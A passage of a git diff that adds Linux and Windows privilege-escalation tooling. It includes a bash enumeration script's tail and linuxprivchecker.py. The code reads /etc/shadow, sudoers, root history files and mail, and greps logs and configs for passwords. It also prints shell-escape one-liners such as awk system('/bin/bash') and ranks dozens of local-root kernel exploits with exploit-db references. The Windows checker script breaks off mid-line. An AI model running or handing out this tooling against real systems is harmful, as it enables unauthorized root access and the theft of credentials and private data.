keyword appears):\e[00m\n$logkey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .log files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .log files" + echo -e "\n" |tee -a $report 2>/dev/null + fi +fi + +if [ "$keyword" = "" ];then + : + else + if [ "$export" ] && [ "$logkey" ]; then + logkeyfile=`find / -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null + for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null + else + : + fi +fi + +#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located +if [ "$keyword" = "" ];then + echo -e "Can't search *.ini files as no keyword was entered\n" |tee -a $report 2>/dev/null + else + inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` + if [ "$inikey" ]; then + echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null + echo -e "'$keyword' not found in any .ini files" |tee -a $report 2>/dev/null + echo -e "\n" + fi +fi + +if [ "$keyword" = "" ];then + : + else + if [ "$export" ] && [ "$inikey" ]; then + inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` + mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null + for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null + else + : + fi +fi + +#quick extract of .conf files from /etc - only 1 level +allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` +if [ "$allconf" ]; then + echo -e "\e[00;31mAll *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$allconf" ]; then + mkdir $format/conf-files/ 2>/dev/null + for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null +else + : +fi + +#extract any user history files that are accessible +usrhist=`ls -la ~/.*_history 2>/dev/null` +if [ "$usrhist" ]; then + echo -e "\e[00;31mCurrent user's history files:\e[00m\n$usrhist" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$usrhist" ]; then + mkdir $format/history_files/ 2>/dev/null + for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null + else + : +fi + +#can we read roots *_history files - could be passwords stored etc. +roothist=`ls -la /root/.*_history 2>/dev/null` +if [ "$roothist" ]; then + echo -e "\e[00;33m***Root's history files are accessible!\e[00m\n$roothist" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$roothist" ]; then + mkdir $format/history_files/ 2>/dev/null + cp $roothist $format/history_files/ 2>/dev/null +else + : +fi + +#is there any mail accessible +readmail=`ls -la /var/mail 2>/dev/null` +if [ "$readmail" ]; then + echo -e "\e[00;31mAny interesting mail in /var/mail:\e[00m\n$readmail" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#can we read roots mail +readmailroot=`head /var/mail/root 2>/dev/null` +if [ "$readmailroot" ]; then + echo -e "\e[00;33m***We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readmailroot" ]; then + mkdir $format/mail-from-root/ 2>/dev/null + cp $readmailroot $format/mail-from-root/ 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" |tee -a $report 2>/dev/null + +#EndOfScript diff --git a/privesc/linuxprivchecker.py b/privesc/linuxprivchecker.py new file mode 100755 index 0000000..d29f487 --- /dev/null +++ b/privesc/linuxprivchecker.py @@ -0,0 +1,372 @@ +#!/usr/env python + +############################################################################################################### +## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script +## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift +##------------------------------------------------------------------------------------------------------------- +## [Details]: +## This script is intended to be executed locally on a Linux box to enumerate basic system info and +## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text +## passwords and applicable exploits. +##------------------------------------------------------------------------------------------------------------- +## [Warning]: +## This script comes as-is with no promise of functionality or accuracy. I have no plans to maintain updates, +## I did not write it to be efficient and in some cases you may find the functions may not produce the desired +## results. For example, the function that links packages to running processes is based on keywords and will +## not always be accurate. Also, the exploit list included in this function will need to be updated over time. +## Feel free to change or improve it any way you see fit. +##------------------------------------------------------------------------------------------------------------- +## [Modification, Distribution, and Attribution]: +## You are free to modify and/or distribute this script as you wish. I only ask that you maintain original +## author attribution and not attempt to sell it or incorporate it into any commercial offering (as if it's +## worth anything anyway :) +############################################################################################################### + +# conditional import for older versions of python not compatible with subprocess +try: + import subprocess as sub + compatmode = 0 # newer version of python, no need for compatibility mode +except ImportError: + import os # older version of python, need to use os instead + compatmode = 1 + +# title / formatting +bigline = "=================================================================================================" +smlline = "-------------------------------------------------------------------------------------------------" + +print bigline +print "LINUX PRIVILEGE ESCALATION CHECKER" +print bigline +print + +# loop through dictionary, execute the commands, store the results, return updated dict +def execCmd(cmdDict): + for item in cmdDict: + cmd = cmdDict[item]["cmd"] + if compatmode == 0: # newer version of python, use preferred subprocess + out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate() + results = out.split('\n') + else: # older version of python, use os.popen + echo_stdout = os.popen(cmd, 'r') + results = echo_stdout.read().split('\n') + cmdDict[item]["results"]=results + return cmdDict + +# print results for each previously executed command, no return value +def printResults(cmdDict): + for item in cmdDict: + msg = cmdDict[item]["msg"] + results = cmdDict[item]["results"] + print "[+] " + msg + for result in results: + if result.strip() != "": + print " " + result.strip() + print + return + +def writeResults(msg, results): + f = open("privcheckout.txt", "a"); + f.write("[+] " + str(len(results)-1) + " " + msg) + for result in results: + if result.strip() != "": + f.write(" " + result.strip()) + f.close() + return + +# Basic system info +print "[*] GETTING BASIC SYSTEM INFO...\n" + +results=[] + +sysInfo = {"OS":{"cmd":"cat /etc/issue","msg":"Operating System","results":results}, + "KERNEL":{"cmd":"cat /proc/version","msg":"Kernel","results":results}, + "HOSTNAME":{"cmd":"hostname", "msg":"Hostname", "results":results} + } + +sysInfo = execCmd(sysInfo) +printResults(sysInfo) + +# Networking Info + +print "[*] GETTING NETWORKING INFO...\n" + +netInfo = {"NETINFO":{"cmd":"/sbin/ifconfig -a", "msg":"Interfaces", "results":results}, + "ROUTE":{"cmd":"route", "msg":"Route", "results":results}, + "NETSTAT":{"cmd":"netstat -antup | grep -v 'TIME_WAIT'", "msg":"Netstat", "results":results} + } + +netInfo = execCmd(netInfo) +printResults(netInfo) + +# File System Info +print "[*] GETTING FILESYSTEM INFO...\n" + +driveInfo = {"MOUNT":{"cmd":"mount","msg":"Mount results", "results":results}, + "FSTAB":{"cmd":"cat /etc/fstab 2>/dev/null", "msg":"fstab entries", "results":results} + } + +driveInfo = execCmd(driveInfo) +printResults(driveInfo) + +# Scheduled Cron Jobs +cronInfo = {"CRON":{"cmd":"ls -la /etc/cron* 2>/dev/null", "msg":"Scheduled cron jobs", "results":results}, + "CRONW": {"cmd":"ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg":"Writable cron dirs", "results":results} + } + +cronInfo = execCmd(cronInfo) +printResults(cronInfo) + +# User Info +print "\n[*] ENUMERATING USER AND ENVIRONMENTAL INFO...\n" + +userInfo = {"WHOAMI":{"cmd":"whoami", "msg":"Current User", "results":results}, + "ID":{"cmd":"id","msg":"Current User ID", "results":results}, + "ALLUSERS":{"cmd":"cat /etc/passwd", "msg":"All users", "results":results}, + "SUPUSERS":{"cmd":"grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg":"Super Users Found:", "results":results}, + "HISTORY":{"cmd":"ls -la ~/.*_history; ls -la /root/.*_history 2>/dev/null", "msg":"Root and current user history (depends on privs)", "results":results}, + "ENV":{"cmd":"env 2>/dev/null | grep -v 'LS_COLORS'", "msg":"Environment", "results":results}, + "SUDOERS":{"cmd":"cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg":"Sudoers (privileged)", "results":results}, + "LOGGEDIN":{"cmd":"w 2>/dev/null", "msg":"Logged in User Activity", "results":results} + } + +userInfo = execCmd(userInfo) +printResults(userInfo) + +if "root" in userInfo["ID"]["results"][0]: + print "[!] ARE YOU SURE YOU'RE NOT ROOT ALREADY?\n" + +# File/Directory Privs +print "[*] ENUMERATING FILE AND DIRECTORY PERMISSIONS/CONTENTS...\n" + +fdPerms = {"WWDIRSROOT":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root", "msg":"World Writeable Directories for User/Group 'Root'", "results":results}, + "WWDIRS":{"cmd":"find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root", "msg":"World Writeable Directories for Users other than Root", "results":results}, + "WWFILES":{"cmd":"find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null", "msg":"World Writable Files", "results":results}, + "SUID":{"cmd":"find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null", "msg":"SUID/SGID Files and Directories", "results":results}, + "ROOTHOME":{"cmd":"ls -ahlR /root 2>/dev/null", "msg":"Checking if root's home folder is accessible", "results":results} + } + +fdPerms = execCmd(fdPerms) +printResults(fdPerms) + +pwdFiles = {"LOGPWDS":{"cmd":"find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Logs containing keyword 'password'", "results":results}, + "CONFPWDS":{"cmd":"find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null", "msg":"Config files containing keyword 'password'", "results":results}, + "SHADOW":{"cmd":"cat /etc/shadow 2>/dev/null", "msg":"Shadow File (Privileged)", "results":results} + } + +pwdFiles = execCmd(pwdFiles) +printResults(pwdFiles) + +# Processes and Applications +print "[*] ENUMERATING PROCESSES AND APPLICATIONS...\n" + +if "debian" in sysInfo["KERNEL"]["results"][0] or "ubuntu" in sysInfo["KERNEL"]["results"][0]: + getPkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian +else: + getPkgs = "rpm -qa | sort -u" # RH/other + +getAppProc = {"PROCS":{"cmd":"ps aux | awk '{print $1,$2,$9,$10,$11}'", "msg":"Current processes", "results":results}, + "PKGS":{"cmd":getPkgs, "msg":"Installed Packages", "results":results} + } + +getAppProc = execCmd(getAppProc) +printResults(getAppProc) # comment to reduce output + +otherApps = { "SUDO":{"cmd":"sudo -V | grep version 2>/dev/null", "msg":"Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)", "results":results}, + "APACHE":{"cmd":"apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null", "msg":"Apache Version and Modules", "results":results}, + "APACHECONF":{"cmd":"cat /etc/apache2/apache2.conf 2>/dev/null", "msg":"Apache Config File", "results":results} + } + +otherApps = execCmd(otherApps) +printResults(otherApps) + +print "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n" + +# find the package information for the processes currently running +# under root or another super user + +procs = getAppProc["PROCS"]["results"] +pkgs = getAppProc["PKGS"]["results"] +supusers = userInfo["SUPUSERS"]["results"] +procdict = {} # dictionary to hold the processes running as super users + +for proc in procs: # loop through each process + relatedpkgs = [] # list to hold the packages related to a process + try: + for user in supusers: # loop through the known super users + if (user != "") and (user in proc): # if the process is being run by a super user + procname = proc.split(" ")[4] # grab the process name + if "/" in procname: + splitname = procname.split("/") + procname = splitname[len(splitname)-1] + for pkg in pkgs: # loop through the packages + if not len(procname) < 3: # name too short to get reliable package results + if procname in pkg: + if procname in procdict: + relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list + if pkg not in relatedpkgs: + relatedpkgs.append(pkg) # add pkg to the list + procdict[proc]=relatedpkgs # add any found related packages to the process dictionary entry + except: + pass + +for key in procdict: + print " " + key # print the process name + try: + if not procdict[key][0] == "": # only print the rest if related packages were found + print " Possible Related Packages: " + for entry in procdict[key]: + print " " + entry # print each related package + except: + pass + +# EXPLOIT ENUMERATION + +# First discover the avaialable tools +print +print "[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n" + +devTools = {"TOOLS":{"cmd":"which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null", "msg":"Installed Tools", "results":results}} +devTools = execCmd(devTools) +printResults(devTools) + +print "[+] Related Shell Escape Sequences...\n" +escapeCmd = {"vi":[":!bash", ":set shell=/bin/bash:shell"], "awk":["awk 'BEGIN {system(\"/bin/bash\")}'"], "perl":["perl -e 'exec \"/bin/bash\";'"], "find":["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"], "nmap":["--interactive"]} +for cmd in escapeCmd: + for result in devTools["TOOLS"]["results"]: + if cmd in result: + for item in escapeCmd[cmd]: + print " " + cmd + "-->\t" + item +print +print "[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...\n" + +# Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB) +# sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os' +sploits= { "2.2.x-2.4.x ptrace kmod local exploit":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"3", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.4.20 Module Loader Local Root Exploit":{"minver":"0", "maxver":"2.4.20", "exploitdb":"12", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.22 "'do_brk()'" local Root Exploit (PoC)":{"minver":"2.4.22", "maxver":"2.4.22", "exploitdb":"129", "lang":"asm", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.4.22 (do_brk) Local Root Exploit (working)":{"minver":"0", "maxver":"2.4.22", "exploitdb":"131", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.x mremap() bound checking Root Exploit":{"minver":"2.4", "maxver":"2.4.99", "exploitdb":"145", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.4.29-rc2 uselib() Privilege Elevation":{"minver":"0", "maxver":"2.4.29", "exploitdb":"744", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4 uselib() Privilege Elevation Exploit":{"minver":"2.4", "maxver":"2.4", "exploitdb":"778", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"895", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"926", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluez"}}, + "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)":{"minver":"0", "maxver":"2.6.11", "exploitdb":"1397", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit":{"minver":"0", "maxver":"99", "exploitdb":"1518", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"mysql"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2004", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2005", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2006", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2011", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.6.17.4 (proc) Local Root Exploit":{"minver":"0", "maxver":"2.6.17.4", "exploitdb":"2013", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)":{"minver":"2.6.13", "maxver":"2.6.17.4", "exploitdb":"2031", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit":{"minver":"4.10", "maxver":"7.04", "exploitdb":"3384", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, + "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit":{"minver":"2.4", "maxver":"2.6", "exploitdb":"4460", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit":{"minver":"0", "maxver":"2.6.11.5", "exploitdb":"4756", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"bluetooth"}}, + "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit":{"minver":"2.6.17", "maxver":"2.6.24.1", "exploitdb":"5092", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.23 - 2.6.24 vmsplice Local Root Exploit":{"minver":"2.6.23", "maxver":"2.6.24", "exploitdb":"5093", "lang":"c", "keywords":{"loc":["os"], "val":"debian"}}, + "Debian OpenSSL Predictable PRNG Bruteforce SSH Exploit":{"minver":"0", "maxver":"99", "exploitdb":"5720", "lang":"python", "keywords":{"loc":["os"], "val":"debian"}}, + "Linux Kernel < 2.6.22 ftruncate()/open() Local Exploit":{"minver":"0", "maxver":"2.6.22", "exploitdb":"6851", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.29 exit_notify() Local Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.29", "exploitdb":"8369", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6 UDEV Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8478", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, + "2.6 UDEV < 141 Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8572", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"udev"}}, + "2.6.x ptrace_attach Local Privilege Escalation Exploit":{"minver":"2.6", "maxver":"2.6.99", "exploitdb":"8673", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.29 ptrace_attach() Local Root Race Condition Exploit":{"minver":"2.6.29", "maxver":"2.6.29", "exploitdb":"8678", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Linux Kernel <=2.6.28.3 set_selection() UTF-8 Off By One Local Exploit":{"minver":"0", "maxver":"2.6.28.3", "exploitdb":"9083", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Test Kernel Local Root Exploit 0day":{"minver":"2.6.18", "maxver":"2.6.30", "exploitdb":"9191", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "PulseAudio (setuid) Priv. Escalation Exploit (ubu/9.04)(slack/12.2.0)":{"minver":"2.6.9", "maxver":"2.6.30", "exploitdb":"9208", "lang":"c", "keywords":{"loc":["pkg"], "val":"pulse"}}, + "2.x sock_sendpage() Local Ring0 Root Exploit":{"minver":"2", "maxver":"2.99", "exploitdb":"9435", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.x sock_sendpage() Local Root Exploit 2":{"minver":"2", "maxver":"2.99", "exploitdb":"9436", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9479", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6 < 2.6.19 (32bit) ip_append_data() ring0 Root Exploit":{"minver":"2.6", "maxver":"2.6.19", "exploitdb":"9542", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit (ppc)":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9545", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9574", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.19 udp_sendmsg Local Root Exploit":{"minver":"0", "maxver":"2.6.19", "exploitdb":"9575", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit [2]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4/2.6 sock_sendpage() Local Root Exploit [3]":{"minver":"2.4", "maxver":"2.6.99", "exploitdb":"9641", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.1-2.4.37 and 2.6.1-2.6.32-rc5 Pipe.c Privelege Escalation":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"9844", "lang":"python", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "'pipe.c' Local Privilege Escalation Vulnerability":{"minver":"2.4.1", "maxver":"2.6.32", "exploitdb":"10018", "lang":"sh", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.6.18-20 2009 Local Root Exploit":{"minver":"2.6.18", "maxver":"2.6.20", "exploitdb":"10613", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Apache Spamassassin Milter Plugin Remote Root Command Execution":{"minver":"0", "maxver":"99", "exploitdb":"11662", "lang":"sh", "keywords":{"loc":["proc"], "val":"spamass-milter"}}, + "<= 2.6.34-rc3 ReiserFS xattr Privilege Escalation":{"minver":"0", "maxver":"2.6.34", "exploitdb":"12130", "lang":"python", "keywords":{"loc":["mnt"], "val":"reiser"}}, + "Ubuntu PAM MOTD local root":{"minver":"7", "maxver":"10.04", "exploitdb":"14339", "lang":"sh", "keywords":{"loc":["os"], "val":"ubuntu"}}, + "< 2.6.36-rc1 CAN BCM Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36", "exploitdb":"14814", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Kernel ia32syscall Emulation Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"15023", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Linux RDS Protocol Local Privilege Escalation":{"minver":"0", "maxver":"2.6.36", "exploitdb":"15285", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "<= 2.6.37 Local Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15704", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.37-rc2 ACPI custom_method Privilege Escalation":{"minver":"0", "maxver":"2.6.37", "exploitdb":"15774", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "CAP_SYS_ADMIN to root Exploit":{"minver":"0", "maxver":"99", "exploitdb":"15916", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)":{"minver":"0", "maxver":"99", "exploitdb":"15944", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "< 2.6.36.2 Econet Privilege Escalation Exploit":{"minver":"0", "maxver":"2.6.36.2", "exploitdb":"17787", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Sendpage Local Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"19933", "lang":"ruby", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.4.18/19 Privileged File Descriptor Resource Exhaustion Vulnerability":{"minver":"2.4.18", "maxver":"2.4.19", "exploitdb":"21598", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (1)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22362", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "2.2.x/2.4.x Privileged Process Hijacking Vulnerability (2)":{"minver":"2.2", "maxver":"2.4.99", "exploitdb":"22363", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "Samba 2.2.8 Share Local Privilege Elevation Vulnerability":{"minver":"2.2.8", "maxver":"2.2.8", "exploitdb":"23674", "lang":"c", "keywords":{"loc":["proc","pkg"], "val":"samba"}}, + "open-time Capability file_ns_capable() - Privilege Escalation Vulnerability":{"minver":"0", "maxver":"99", "exploitdb":"25307", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, + "open-time Capability file_ns_capable() Privilege Escalation":{"minver":"0", "maxver":"99", "exploitdb":"25450", "lang":"c", "keywords":{"loc":["kernel"], "val":"kernel"}}, +} + +# variable declaration +os = sysInfo["OS"]["results"][0] +version = sysInfo["KERNEL"]["results"][0].split(" ")[2].split("-")[0] +langs = devTools["TOOLS"]["results"] +procs = getAppProc["PROCS"]["results"] +kernel = str(sysInfo["KERNEL"]["results"][0]) +mount = driveInfo["MOUNT"]["results"] +#pkgs = getAppProc["PKGS"]["results"] # currently not using packages for sploit appicability but my in future + + +# lists to hold ranked, applicable sploits +# note: this is a best-effort, basic ranking designed to help in prioritizing priv escalation exploit checks +# all applicable exploits should be checked and this function could probably use some improvement +avgprob = [] +highprob = [] + +for sploit in sploits: + lang = 0 # use to rank applicability of sploits + keyword = sploits[sploit]["keywords"]["val"] + sploitout = sploit + " || " + "http://www.exploit-db.com/exploits/" + sploits[sploit]["exploitdb"] + " || " + "Language=" + sploits[sploit]["lang"] + # first check for kernell applicability + if (version >= sploits[sploit]["minver"]) and (version <= sploits[sploit]["maxver"]): + # next check language applicability + if (sploits[sploit]["lang"] == "c") and (("gcc" in str(langs)) or ("cc" in str(langs))): + lang = 1 # language found, increase applicability score + elif sploits[sploit]["lang"] == "sh": + lang = 1 # language found, increase applicability score + elif (sploits[sploit]["lang"] in str(langs)): + lang = 1 # language found, increase applicability score + if lang == 0: + sploitout = sploitout + "**" # added mark if language not detected on system + # next check keyword matches to determine if some sploits have a higher probability of success + for loc in sploits[sploit]["keywords"]["loc"]: + if loc == "proc": + for proc in procs: + if keyword in proc: + highprob.append(sploitout) # if sploit is associated with a running process consider it a higher probability/applicability + break + break + elif loc == "os": + if (keyword in os) or (keyword in kernel): + highprob.append(sploitout) # if sploit is specifically applicable to this OS consider it a higher probability/applicability + break + elif loc == "mnt": + if keyword in mount: + highprob.append(sploitout) # if sploit is specifically applicable to a mounted file system consider it a higher probability/applicability + break + else: + avgprob.append(sploitout) # otherwise, consider average probability/applicability based only on kernel version + +print " Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!" +print + +print " The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system" +for exploit in highprob: + print " - " + exploit +print + +print " The following exploits are applicable to this kernel version and should be investigated as well" +for exploit in avgprob: + print " - " + exploit + +print +print "Finished" +print bigline diff --git a/privesc/windows-privesc-check2.exe b/privesc/windows-privesc-check2.exe new file mode 100755 index 0000000..b71f4de --- /dev/null +++ b/privesc/windows-privesc-check2.exe Binary files differ diff --git a/privesc/windows_privesc_check.py b/privesc/windows_privesc_check.py new file mode 100755 index 0000000..0a26288 --- /dev/null +++ b/privesc/windows_privesc_check.py @@ -0,0 +1,76 @@ +from wpc.parseOptions import parseOptions +from wpc.report.report import report +from wpc.audit.dump import dump +from wpc.audit.dumptab import dumptab +from wpc.audit.audit import audit +import datetime +import time +import wpc.utils +import sys + +# ------------------------ Main Code Starts Here --------------------- + +# Parse command line arguments +options = parseOptions() + +# Initialise WPC +# TODO be able to enable/disable caching +wpc.utils.init(options) + +# Object to hold all the issues we find +report = report() +wpc.utils.populate_scaninfo(report) +issues = report.get_issues() + +if options.pyshell_mode: + wpc.utils.printline("Python Shell - to exit do CTRL-z or type exit()") + print + import code + code.interact(local=dict(globals(), **locals())) + sys.exit() + +wpc.utils.dump_options(options) + +wpc.utils.printline("Starting Audit at %s" % datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H:%M:%S')) +start_time = time.time() + +# Dump raw data if required +if options.dump_mode: + d = dump(options) + d.run() + +# Dump raw data if required +if options.dumptab_mode: + d = dumptab(options, report) + d.run() + +# Identify security issues +if options.audit_mode: + a = audit(options, report) + a.run() + + if options.report_file_stem: + wpc.utils.printline("Audit Complete at %s" % datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H:%M:%S')) + print + print "[+] Runtime: 